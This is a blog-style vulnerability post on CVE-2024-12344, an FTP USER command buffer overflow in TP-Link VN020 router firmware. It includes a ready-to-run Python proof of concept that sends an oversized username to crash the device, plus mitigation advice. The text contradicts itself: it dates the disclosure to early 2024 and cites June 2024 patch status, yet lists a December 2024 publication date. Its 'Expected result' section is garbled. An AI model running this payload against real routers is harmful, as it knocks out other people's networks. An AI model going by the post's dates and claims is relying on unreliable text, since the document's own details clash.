In early 2024, security researchers disclosed a critical remote code execution vulnerability—CVE-2024-12344—affecting TP-Link VN020 F3v(T) TT_V6.2.1021. The flaw exists in the device's FTP user command handler and allows attackers to corrupt memory remotely by sending a specially crafted FTP USER command. This post will break down how the exploit works, its potential impact, and offer proof-of-concept code.

References:

- NVD Entry - CVE-2024-12344
- VulDB - CVE-2024-12344
- Exploit DB

Vulnerability Details

The FTP server implementation in affected TP-Link firmware does not safely handle long input in the USER command. Specifically, by sending an overly long username, remote attackers may overwrite parts of program memory, causing a crash, denial of service, or even code execution.

The bug is in how the USER command data is copied into a fixed-size stack buffer without sufficient bounds-checking.

Vulnerable FTP User Command Handler (Pseudocode)

void handle_user_command(char *user_input) {
    char username[64]; // fixed-size stack buffer
    strcpy(username, user_input); // unsafe: no length check!
    // ...rest of the logic
}

A typical FTP USER command looks like

USER testuser

If user_input is a string longer than 64 bytes, it will overflow username, corrupting adjacent memory.

Exploit Example

Here’s a simple Python example of how the bug can be triggered remotely. You only need a reachable TP-Link device running a vulnerable firmware version—the device does not need authentication on the FTP service for this to work.

WARNING: Do not exploit devices you don’t own or have explicit authorization to test.

import socket

TARGET_IP = '192.168.1.1' # Change this to your router's IP
TARGET_PORT = 21           # Standard FTP port

# 200 bytes, much longer than the expected 64 character buffer
payload = b'A' * 200

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((TARGET_IP, TARGET_PORT))
    s.recv(1024) # Banner
    s.sendall(b'USER ' + payload + b'\r\n')
    response = s.recv(1024)
    print("Server response:", response.decode(errors='ignore'))

Expected result:

Remote: Can be triggered over the internet on exposed routers.

- Critical: Could cause a total system crash (denial-of-service), or—with further exploitation—lead to full device compromise (remote code execution).

Exploitation Potential

Researchers and public exploit databases indicate that attackers could leverage CVE-2024-12344 to gain arbitrary code execution. For now, known public PoCs only trigger denial-of-service conditions, but the memory corruption can possibly be weaponized further.

Mitigation & Fixes

- Firmware Update: Check TP-Link’s support site for patches. As of June 2024, no official patch is available for all impacted devices.
- Reduce Exposure: If the update is not possible, disable FTP service if you do not need it, or restrict FTP access to trusted IPs only.

References & Further Reading

- National Vulnerability Database: CVE-2024-12344
- VulDB entry
- Exploit DB (search for CVE-2024-12344)
- TP-Link Official Security Advisory Page

Conclusion

CVE-2024-12344 is a severe and straightforward memory corruption bug that anyone on your network—or on the internet for exposed devices—can exploit with a single command. Routers with this firmware should be patched or isolated immediately to avoid compromise. Security researchers recommend always disabling unnecessary network services and updating embedded devices as soon as fixes are available.

Timeline

Published on: 12/08/2024 23:15:04 UTC
Last modified on: 12/10/2024 23:28:05 UTC